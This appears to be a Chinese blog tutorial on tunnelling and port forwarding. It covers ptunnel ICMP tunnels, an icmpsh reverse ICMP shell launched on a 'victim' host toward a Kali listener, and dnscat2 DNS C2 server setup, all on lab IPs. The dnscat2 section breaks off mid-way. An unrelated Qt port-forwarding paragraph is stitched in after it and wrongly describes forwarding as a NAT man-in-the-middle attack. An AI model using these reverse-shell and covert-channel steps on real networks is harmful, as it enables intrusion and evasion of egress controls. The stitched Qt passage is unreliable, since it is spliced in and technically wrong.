内网穿透及端口转发(下)

本文详细介绍了多种内网穿透和端口转发工具的使用,包括ICMP隧道的ptunnel和icmpsh,DNS隧道的dnscat2与Iodine,以及Frp、Ngrok和N2n的配置和应用。通过这些工具,可以实现内网服务的外网访问和受限网络间的通信。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x05 ICMP隧道

注意:在搭建ICMP隧道的时候切记把自身的icmp关闭
(sysctl -w net.ipv4.icmp_echo_ignore_all=1)

ptunnel

ptunnel,全称“Ping Tunnel”,利用ICMP协议构建通信隧道,实现端到端通信。
网络环境拓扑:

image.png

B、C上需要装ptunnel工具,因为这里A只能ping通B,所以让B作为server,即ICMP跳板机

注意:由于通过ICMP协议建立隧道,为了让隧道服务端能够处理收到的ICMP报文,需要禁用系统本身的ICMP响应机制,防止内核响应ping数据包本身。这里先关闭B的ICMP响应机制,否则会出现[err]: Dropping duplicate proxy session request.报错。

在B上运行命令ptunnel

image.png

在C上运行命令

ptunnel -p 192.168.137.128 -lp 8888 -da 192.168.44.130  -dp 3389
-p  指定跳板机的IP
-lp 指定转发本地监听的端口
-da 指定最终要访问的目标主机
-dp 指定最终要访问目标主机的端口

image.png

此时ICMP隧道就已经打通了,最后在D上访问C的8888端口就相当于访问A的3389端口了

mstsc /v:192.168.137.129:8888

image.png

当然这里也可以让B既作为跳板机,又作为代理服务器

image.png

icmpsh

icmpsh是一个简单的反向ICMP shell,与其他类似的开源工具相比,其主要优势在于它不需要管理权限即可运行到目标计算机上。
网络环境拓扑:

image.png

首先在kali上下载icmpsh并关闭自身的icmp

./icmpsh-m.py <source IP address> <destination IP address>

sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 192.168.137.129 192.168.137.132

image.png

在受害机上运行以下命令

icmpsh.exe -t 192.168.137.129 

image.png

返回kali查看shell

image.png

0x06 DNS隧道

dnscat2

内网出口一般对出站流量做了严格限制,但是通常不会限制 DNS 请求,也就是 UDP 53 请求。dnscat2是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具。dnscat2 由客户端和服务端两部分组成。

初始化dnscat2服务端
Server部署
git clone https://github.com/iagox86/dnscat2.git
apt-get install ruby-dev 
cd dnscat2/server/ 
gem install bundler 
bundle install 
ruby ./dnscat2.rb  # 启动服务端

image.png

编译客户端
Client部署
Qt内网穿透端口转发是一种将内网中的局域网设备通过穿透技术映射到公网上,实现公网访问的方法。Qt是一种跨平台的C++应用程序开发框架,可以用于编写各种类型的应用程序,包括网络通讯相关的应用。 内网穿透端口转发的实现原理是通过在 NAT 中间人攻击方式,将公网的请求转发到内网中指定设备的指定端口上,从而实现对内网设备的访问。Qt 提供了一些网络编程接口和类,可以用于实现内网穿透端口转发功能。 在 Qt 中实现内网穿透端口转发,可以使用 Qt 的网络编程库进行开发。首先需要创建一个 TCP 服务端,监听公网的请求。当收到请求后,根据请求的目标设备和目标端口,在内网中找到对应的设备,并将请求转发到该设备的指定端口上。 具体步骤如下: 1. 创建一个 QTcpServer 对象,调用其 listen 方法,监听指定的公网端口。 2. 当收到公网请求时,QTcpServer 会触发一个新连接的信号。 3. 在新连接的槽函数中,获取请求的目标设备和目标端口。 4. 在内网中找到对应的设备和端口,创建一个 QTcpSocket 对象,连接到该设备的指定端口上。 5. 将公网请求的数据通过 QTcpSocket 的 write 方法发送到内网设备。 6. 同时监听 QTcpSocket 的 readyRead 信号,当内网设备返回数据时,通过 QTcpServer 的 write 方法将数据返回给公网。 通过以上步骤,就可以实现 Qt 内网穿透端口转发的功能。需要注意的是,为了确保内网设备的安全性,应当对公网请求进行必要的身份验证和安全控制。同时,在代码实现中,还需要处理异常情况和错误处理,确保端口转发的稳定性和可靠性。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值